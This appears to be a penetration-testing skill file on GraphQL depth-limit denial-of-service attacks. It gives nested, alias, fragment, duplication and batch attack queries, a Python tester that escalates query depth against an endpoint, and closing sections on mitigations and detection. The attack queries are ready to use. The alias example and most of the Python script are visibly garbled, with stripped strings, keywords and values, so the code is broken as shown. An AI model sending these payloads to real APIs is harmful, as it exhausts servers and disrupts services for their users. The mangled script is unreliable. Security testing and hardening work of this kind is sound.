performing-graphql-depth-limit-attack

name	performing-graphql-depth-limit-attack
description	Execute and test GraphQL depth limit attacks using deeply nested recursive queries to identify denial-of-service vulnerabilities in GraphQL APIs.
domain	cybersecurity
subdomain	api-security
tags	["graphql","depth-limit","denial-of-service","nested-queries","api-security","query-complexity","resource-exhaustion","penetration-testing"]
version	1.0
author	mahipal
license	Apache-2.0

Performing GraphQL Depth Limit Attack

Overview

GraphQL depth limit attacks exploit the recursive nature of GraphQL schemas to craft deeply nested queries that consume excessive server resources, leading to denial of service. Unlike REST APIs with fixed endpoints, GraphQL allows clients to request arbitrary data structures. When schemas contain circular relationships (e.g., User -> Posts -> Author -> Posts), attackers can create queries that recurse indefinitely, overwhelming the server's CPU, memory, database connections, and network bandwidth.

Prerequisites

• Target GraphQL API endpoint with introspection enabled or known schema
• GraphQL client tools (GraphiQL, Altair, Insomnia, or curl)
• Python 3.8+ with requests library for automated testing
• Burp Suite or mitmproxy for traffic analysis
• Authorization to perform security testing on the target

Core Attack Techniques

1. Recursive Depth Attack

When a GraphQL schema has bidirectional relationships, queries can reference them recursively:

# Schema with circular reference:
# type User { posts: [Post] }
# type Post { author: User }

# Attack query with excessive nesting depth
query DepthAttack {
  users {
    posts {
      author {
        posts {
          author {
            posts {
              author {
                posts {
                  author {
                    posts {
                      author {
                        posts {
                          title
                          author {
                            name
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

2. Alias-Based Amplification

When batch queries are blocked, aliases can multiply the same field request within a single query:

query AliasAmplification {
  a1: user(id: 1) { posts { author { name } } }
  a2: user(id: 1) { posts { author { name } } }
  a3: user(id: 1) { posts { author { name } } }
  a4: user(id: 1) { posts { author { name } } }
  a5: user(id:   posts  author  name   
   user   posts  author  name   
   user   posts  author  name   
   user   posts  author  name   
   user   posts  author  name   
   user   posts  author  name   

3. Fragment Spread Attack

Fragments can be used to construct complex, deeply nested queries more efficiently:

fragment UserFields on User {
  name
  email
  posts {
    title
    comments {
      body
      author {
        ...NestedUser
      }
    }
  }
}

fragment NestedUser on User {
  name
  posts {
    title
    author {
      name
      posts {
        title
        author {
          name
        }
      }
    }
  }
}

query FragmentAttack {
  users {
    ...UserFields
  }
}

4. Field Duplication Attack

Repeating the same field multiple times within a selection set increases processing:

query FieldDuplication {
  user(id: 1) {
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
    posts { title }
  }
}

5. Batch Query Attack

Sending multiple queries in a single HTTP request:

[
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"},
  {"query": "{ users { posts { author { name } } } }"}
]

Automated Testing Script

#!/usr/bin/env python3
"""GraphQL Depth Limit Attack Testing Tool

Tests GraphQL endpoints for depth limiting vulnerabilities
by sending progressively deeper nested queries.
"""

import requests
import time
import json
import sys
from typing import Optional

class GraphQLDepthTester:
    def __init__(self, endpoint: str, headers: Optional[dict] = None):
        self.endpoint = endpoint
        self.headers = headers or {"Content-Type": "application/json"}
        self.results = []

    def generate_nested_query(self, depth: int, field_a: str = "posts",
                               field_b: str = "author",
                               leaf_field: str = "name") -> str:
        """Generate a recursively nested GraphQL query to a specified depth."""
        query = "{ users { "
        for i in range(depth):
            if i % 2 == 0:
                query += f"{field_a} {{ "
            else:
                query += 
        query += leaf_field
        query +=  * (depth + )  
        query += 
         query

     () -> :
        
        aliases = []
         i  (count):
            aliases.append()
          + .join(aliases) + 

     () -> :
        
        payload = json.dumps({: query})
        start_time = time.time()
        :
            response = requests.post(
                .endpoint,
                data=payload,
                headers=.headers,
                timeout=timeout
            )
            elapsed = time.time() - start_time
             {
                : response.status_code,
                : (elapsed, ),
                : (response.content),
                :   response.json()  response.status_code ==   ,
                : ._extract_error(response),
                : response.status_code ==      response.json()
            }
         requests.exceptions.Timeout:
            elapsed = time.time() - start_time
             {
                : ,
                : (elapsed, ),
                : ,
                : ,
                : ,
                : 
            }
         requests.exceptions.ConnectionError:
             {
                : ,
                : ,
                : ,
                : ,
                : ,
                : 
            }

     () -> :
        :
            data = response.json()
               data:
                 data[][].get(, )
         (json.JSONDecodeError, IndexError, KeyError):
            
         

     ():
        
        ()
        ()
        ( * )

         depth  (, max_depth + ):
            query = .generate_nested_query(depth)
            result = .send_query(query)
            result[] = depth
            .results.append(result)

            status =   result[]  
            (
                  )

             result[]    result[].lower():
                ()
                ()
                 depth

             result[] == :
                ()
                 depth

        ()
         

     ():
        
         alias_counts  :
            alias_counts = [, , , , , ]

        ()
        inner = 

         count  alias_counts:
            query = .generate_alias_query(count, inner)
            result = .send_query(query)
            status =   result[]  
            (
                  )

     () -> :
        
        successful = [r  r  .results  r[]]
        blocked = [r  r  .results   r[]]
        max_successful_depth = ([r[]  r  successful], default=)

         {
            : .endpoint,
            : (.results),
            : (successful),
            : (blocked),
            : max_successful_depth,
            : (blocked) > ,
            :   max_successful_depth >  
                             max_successful_depth >   
        }


 __name__ == :
    endpoint = sys.argv[]  (sys.argv) >   
    tester = GraphQLDepthTester(endpoint)
    tester.test_depth_limits(max_depth=)
    tester.test_alias_amplification()

    report = tester.generate_report()
    ()
    ()
    ()
     key, value  report.items():
        ()

Mitigation Strategies

Depth Limiting

// Using graphql-depth-limit (Node.js)
const depthLimit = require('graphql-depth-limit');
const server = new ApolloServer({
  typeDefs,
  resolvers,
  validationRules: [depthLimit(5)]
});

Query Complexity Analysis

// Using graphql-query-complexity
const { createComplexityRule } = require('graphql-query-complexity');

const complexityRule = createComplexityRule({
  maximumComplexity: 1000,
  estimators: [
    fieldExtensionsEstimator(),
    simpleEstimator({ defaultComplexity: 1 })
  ],
  onComplete: (complexity) => {
    console.log('Query complexity:', complexity);
  }
});

Rate Limiting and Timeout Controls

# Server-side timeout configuration
GRAPHQL_CONFIG = {
    "max_depth": 5,
    "max_complexity": 1000,
    "max_aliases": 10,
    "query_timeout_seconds": 10,
    "max_batch_size": 5,
    "rate_limit_per_minute": 100
}

Detection Indicators

• Unusually deep or complex GraphQL queries in server logs
• Spike in response times correlated with specific query patterns
• High memory or CPU usage on GraphQL server processes
• Repeated requests with incrementally increasing query complexity
• Large response payloads from single query requests

References

• OWASP GraphQL Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html
• Apollo GraphQL Security Guide: https://www.apollographql.com/blog/securing-your-graphql-api-from-malicious-queries
• Checkmarx GraphQL Depth Exploitation: https://checkmarx.com/blog/exploiting-graphql-query-depth/
• GraphQL.org Security: https://graphql.org/learn/security/
• Escape.tech Cyclic Queries: https://escape.tech/blog/cyclic-queries-and-depth-limit/
• PortSwigger GraphQL Vulnerabilities: https://portswigger.net/web-security/graphql